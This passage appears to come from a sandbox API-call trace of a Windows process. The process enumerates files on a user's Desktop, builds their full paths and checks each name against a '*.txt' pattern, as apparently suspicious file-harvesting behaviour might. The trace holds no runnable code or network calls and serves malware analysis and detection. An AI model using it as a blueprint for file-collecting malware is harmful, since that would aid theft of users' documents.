ftLastAccessTime.dwHighDateTime=0x1d7ac06, ftLastWriteTime.dwLowDateTime=0x7c7bd330, ftLastWriteTime.dwHighDateTime=0x1d7ac06, nFileSizeHigh=0x0, nFileSizeLow=0x4b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="-yRZeNS0HWz.m4a", cAlternateFileName="-YRZEN~1.M4A")) returned 1 [0099.414] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.414] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.414] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a" [0099.414] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.414] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.414] lstrcatW (in: lpString1="\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="\\-yRZeNS0HWz.m4a") returned="\\-yRZeNS0HWz.m4a" [0099.414] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.414] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x2110550 [0099.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x2110550, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", lpUsedDefaultChar=0x0) returned 47 [0099.414] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.414] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.414] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.414] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430108 [0099.414] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.414] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430108 | out: hHeap=0x2110000) returned 1 [0099.414] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*.txt") returned 0 [0099.414] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.414] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb56bee60, ftCreationTime.dwHighDateTime=0x1d7a97b, ftLastAccessTime.dwLowDateTime=0x1f5f71c0, ftLastAccessTime.dwHighDateTime=0x1d7af67, ftLastWriteTime.dwLowDateTime=0x1f5f71c0, ftLastWriteTime.dwHighDateTime=0x1d7af67, nFileSizeHigh=0x0, nFileSizeLow=0x1825b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0hIV.odt", cAlternateFileName="")) returned 1 [0099.414] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.415] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.415] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0hIV.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt" [0099.415] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.415] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.415] lstrcatW (in: lpString1="\\", lpString2="0hIV.odt" | out: lpString1="\\0hIV.odt") returned="\\0hIV.odt" [0099.415] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x34300d0 [0099.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.415] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ac00 [0099.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x211ac00, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", lpUsedDefaultChar=0x0) returned 40 [0099.415] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x21104e8 [0099.415] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ac00 | out: hHeap=0x2110000) returned 1 [0099.415] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.415] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.415] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.415] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*.txt") returned 0 [0099.415] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.415] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf668b600, ftCreationTime.dwHighDateTime=0x1d7b3bc, ftLastAccessTime.dwLowDateTime=0xf7014c80, ftLastAccessTime.dwHighDateTime=0x1d7b3bc, ftLastWriteTime.dwLowDateTime=0x31aeb900, ftLastWriteTime.dwHighDateTime=0x1d7b3ac, nFileSizeHigh=0x0, nFileSizeLow=0x92600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cAlternateFileName="1A0F89~1.EXE")) returned 1 [0099.415] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.415] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.415] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.415] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.415] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.415] lstrcatW (in: lpString1="\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.416] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xd0) returned 0x21111c0 [0099.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0099.416] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x64) returned 0x21104e8 [0099.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x21104e8, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", lpUsedDefaultChar=0x0) returned 100 [0099.416] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x2116690 [0099.416] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.416] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.416] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.416] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.416] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*.txt") returned 0 [0099.416] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2116690 | out: hHeap=0x2110000) returned 1 [0099.416] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7149550, ftCreationTime.dwHighDateTime=0x1d7aa3f, ftLastAccessTime.dwLowDateTime=0x12822e50, ftLastAccessTime.dwHighDateTime=0x1d7ab4a, ftLastWriteTime.dwLowDateTime=0x12822e50, ftLastWriteTime.dwHighDateTime=0x1d7ab4a, nFileSizeHigh=0x0, nFileSizeLow=0x175c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1uAKNwE-0yc6at.mp3", cAlternateFileName="1UAKNW~1.MP3")) returned 1 [0099.416] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.416] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.416] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3" [0099.416] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.416] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.416] lstrcatW (in: lpString1="\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="\\1uAKNwE-0yc6at.mp3") returned="\\1uAKNwE-0yc6at.mp3" [0099.416] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104e8 [0099.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.416] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x2110560 [0099.416] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x2110560, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", lpUsedDefaultChar=0x0) returned 50 [0099.416] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x34300d0 [0099.416] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110560 | out: hHeap=0x2110000) returned 1 [0099.416] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.417] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430fc8 [0099.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430fc8, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.417] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430fc8 | out: hHeap=0x2110000) returned 1 [0099.417] PathMatchSpecW (pszFile="1uAKNwE-0yc6at.mp3", pszSpec="*.txt") returned 0 [0099.417] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.417] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d74c530, ftCreationTime.dwHighDateTime=0x1d7a0ad, ftLastAccessTime.dwLowDateTime=0xda822690, ftLastAccessTime.dwHighDateTime=0x1d7a941, ftLastWriteTime.dwLowDateTime=0xda822690, ftLastWriteTime.dwHighDateTime=0x1d7a941, nFileSizeHigh=0x0, nFileSizeLow=0x1662f, dwReserved0=0x0, dwReserved1=0x0, cFileName="4sB35aWlNW.mp3", cAlternateFileName="4SB35A~1.MP3")) returned 1 [0099.417] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.417] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.417] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3" [0099.417] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.417] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.417] lstrcatW (in: lpString1="\\", lpString2="4sB35aWlNW.mp3" | out: lpString1="\\4sB35aWlNW.mp3") returned="\\4sB35aWlNW.mp3" [0099.417] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.417] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x2110550 [0099.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", cchWideChar=46, lpMultiByteStr=0x2110550, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\4sB35aWlNW.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.417] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.417] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.417] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.417] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430108 [0099.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.417] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430108 | out: hHeap=0x2110000) returned 1 [0099.418] PathMatchSpecW (pszFile="4sB35aWlNW.mp3", pszSpec="*.txt") returned 0 [0099.418] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.418] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf61f470, ftCreationTime.dwHighDateTime=0x1d7a814, ftLastAccessTime.dwLowDateTime=0xa8e2e7d0, ftLastAccessTime.dwHighDateTime=0x1d7ace5, ftLastWriteTime.dwLowDateTime=0xa8e2e7d0, ftLastWriteTime.dwHighDateTime=0x1d7ace5, nFileSizeHigh=0x0, nFileSizeLow=0x375f, dwReserved0=0x0, dwReserved1=0x0, cFileName="6jSeen9MOc.mp3", cAlternateFileName="6JSEEN~1.MP3")) returned 1 [0099.418] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.418] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.418] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3" [0099.418] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.418] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.418] lstrcatW (in: lpString1="\\", lpString2="6jSeen9MOc.mp3" | out: lpString1="\\6jSeen9MOc.mp3") returned="\\6jSeen9MOc.mp3" [0099.418] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.418] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x2110550 [0099.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", cchWideChar=46, lpMultiByteStr=0x2110550, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\6jSeen9MOc.mp3", lpUsedDefaultChar=0x0) returned 46 [0099.418] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.418] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.418] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.418] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430108 [0099.418] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.418] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430108 | out: hHeap=0x2110000) returned 1 [0099.418] PathMatchSpecW (pszFile="6jSeen9MOc.mp3", pszSpec="*.txt") returned 0 [0099.418] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.418] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f4d5ac0, ftCreationTime.dwHighDateTime=0x1d7aea7, ftLastAccessTime.dwLowDateTime=0xccbb5650, ftLastAccessTime.dwHighDateTime=0x1d7afc0, ftLastWriteTime.dwLowDateTime=0xccbb5650, ftLastWriteTime.dwHighDateTime=0x1d7afc0, nFileSizeHigh=0x0, nFileSizeLow=0x38d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8plxNnRp.swf", cAlternateFileName="")) returned 1 [0099.418] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.418] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.418] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="8plxNnRp.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf" [0099.418] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.418] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.419] lstrcatW (in: lpString1="\\", lpString2="8plxNnRp.swf" | out: lpString1="\\8plxNnRp.swf") returned="\\8plxNnRp.swf" [0099.419] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104e8 [0099.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0099.419] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2c) returned 0x2110550 [0099.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", cchWideChar=44, lpMultiByteStr=0x2110550, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\8plxNnRp.swf", lpUsedDefaultChar=0x0) returned 44 [0099.419] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.419] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110550 | out: hHeap=0x2110000) returned 1 [0099.419] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104e8 | out: hHeap=0x2110000) returned 1 [0099.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.419] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x3430108 [0099.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x3430108, cchWideChar=6 | out: lpWideCharStr="*.txt") returned 6 [0099.419] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430108 | out: hHeap=0x2110000) returned 1 [0099.419] PathMatchSpecW (pszFile="8plxNnRp.swf", pszSpec="*.txt") returned 0 [0099.419] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: 